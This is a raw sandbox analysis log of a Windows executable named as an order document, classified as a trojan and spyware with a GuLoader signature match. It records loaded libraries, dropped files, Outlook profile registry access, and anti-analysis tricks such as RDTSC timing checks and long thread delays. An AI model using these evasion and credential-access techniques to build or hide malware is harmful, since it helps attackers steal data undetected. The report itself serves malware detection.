Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_3AE82749	4_2_3AE82749
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_3AE82758	4_2_3AE82758
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_3AE85328	4_2_3AE85328
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_3AE87720	4_2_3AE87720
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_3AE8D308	4_2_3AE8D308
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_3AE82300	4_2_3AE82300
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_3AE8B307	4_2_3AE8B307
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_3AE8B318	4_2_3AE8B318
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_3AE8531A	4_2_3AE8531A
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_3AE87710	4_2_3AE87710
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_3AE808E0	4_2_3AE808E0
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_3AE808F0	4_2_3AE808F0
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_3AE8C0C8	4_2_3AE8C0C8
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_3AE880C8	4_2_3AE880C8
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_3AE8E0A7	4_2_3AE8E0A7
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_3AE8E0B8	4_2_3AE8E0B8
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_3AE838B8	4_2_3AE838B8
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_3AE8C0B7	4_2_3AE8C0B7
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_3AE86488	4_2_3AE86488
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_3AE80489	4_2_3AE80489
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_3AE80498	4_2_3AE80498
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_3AE83460	4_2_3AE83460
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_3AE86478	4_2_3AE86478
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_3AE80040	4_2_3AE80040
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_3AE83450	4_2_3AE83450
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_3AE8DC28	4_2_3AE8DC28
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_3AE8BC2A	4_2_3AE8BC2A
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_3AE86021	4_2_3AE86021
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_3AE8BC38	4_2_3AE8BC38
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_3AE86030	4_2_3AE86030
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_3AE83008	4_2_3AE83008
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_3AE8FC18	4_2_3AE8FC18
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_3AE8DC19	4_2_3AE8DC19
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_3AE80011	4_2_3AE80011
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_3AE815E8	4_2_3AE815E8
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_3AE8C9E8	4_2_3AE8C9E8
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_3AE815F8	4_2_3AE815F8
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_3AE8E9C8	4_2_3AE8E9C8
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_3AE8E9D8	4_2_3AE8E9D8
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_3AE8C9D8	4_2_3AE8C9D8
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_3AE81190	4_2_3AE81190
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_3AE80D48	4_2_3AE80D48
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_3AE8E548	4_2_3AE8E548
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_3AE8C548	4_2_3AE8C548
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_3AE8C558	4_2_3AE8C558
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_3AE8A928	4_2_3AE8A928
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_3AE8A938	4_2_3AE8A938
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_3AE8E538	4_2_3AE8E538
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_3AE80D39	4_2_3AE80D39

Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe

Code function: String function: 00402C41 appears 51 times

Source: ORDER 20240986 OA.exe, 00000004.00000002.2950903894.0000000007787000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: OriginalFilenameclr.dllT vs ORDER 20240986 OA.exe

Source: ORDER 20240986 OA.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/5@4/4

Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe

0_2_0040336C

Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe

Code function: 0_2_004046FF GetDlgItem,SetWindowTextW,LdrInitializeThunk,LdrInitializeThunk,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,LdrInitializeThunk,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_004046FF

Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe

Code function: 0_2_00402104 LdrInitializeThunk,CoCreateInstance,LdrInitializeThunk,

0_2_00402104

Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry

Jump to behavior

Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe

File created: C:\Users\user\AppData\Local\Temp\nsr11BF.tmp

Jump to behavior

Source: ORDER 20240986 OA.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: ORDER 20240986 OA.exe	ReversingLabs: Detection: 44%
Source: ORDER 20240986 OA.exe	Virustotal: Detection: 33%

Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe

File read: C:\Users\user\Desktop\ORDER 20240986 OA.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\ORDER 20240986 OA.exe "C:\Users\user\Desktop\ORDER 20240986 OA.exe"
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Process created: C:\Users\user\Desktop\ORDER 20240986 OA.exe "C:\Users\user\Desktop\ORDER 20240986 OA.exe"
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Process created: C:\Users\user\Desktop\ORDER 20240986 OA.exe "C:\Users\user\Desktop\ORDER 20240986 OA.exe"	Jump to behavior

Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Section loaded: secur32.dll	Jump to behavior

Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: ORDER 20240986 OA.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

Yara detected GuLoader

Source: Yara match	File source: 00000000.00000002.2287809032.0000000003873000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2287296673.000000000083C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ORDER 20240986 OA.exe PID: 7316, type: MEMORYSTR

Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe

Code function: 0_2_6FBB1B63 GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_6FBB1B63

Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 0_2_6FBB2FD0 push eax; ret		0_2_6FBB2FFE
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_00159C30 push esp; retf 0017h		4_2_00159D55

Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe

File created: C:\Users\user\AppData\Local\Temp\nsx1318.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	API/Special instruction interceptor: Address: 3C78CCE
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	API/Special instruction interceptor: Address: 2A18CCE

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	RDTSC instruction interceptor: First address: 3C164A6 second address: 3C164A6 instructions: 0x00000000 rdtsc 0x00000002 cmp bl, al 0x00000004 cmp ebx, ecx 0x00000006 jc 00007F6DB1459D15h 0x00000008 inc ebp 0x00000009 cmp ax, dx 0x0000000c inc ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	RDTSC instruction interceptor: First address: 29B64A6 second address: 29B64A6 instructions: 0x00000000 rdtsc 0x00000002 cmp bl, al 0x00000004 cmp ebx, ecx 0x00000006 jc 00007F6DB133B325h 0x00000008 inc ebp 0x00000009 cmp ax, dx 0x0000000c inc ebx 0x0000000d rdtsc

Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Memory allocated: 110000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Memory allocated: 37BD0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Memory allocated: 37B00000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 599639	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 599516	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 599406	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 599297	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 599188	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 599063	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 598938	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 598813	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 598703	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 598594	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 598469	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 598359	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 598250	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 598141	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 598031	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 597922	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 597813	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 597688	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 597578	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 597469	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 597344	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 597235	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 597110	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 596985	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 596860	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 596735	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 596610	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 596485	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 596360	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 596247	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 596125	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 596016	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 595891	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 595781	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 595672	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 595562	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 595453	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 595344	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 595235	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 595125	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 595016	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 594891	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 594766	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 594656	Jump to behavior
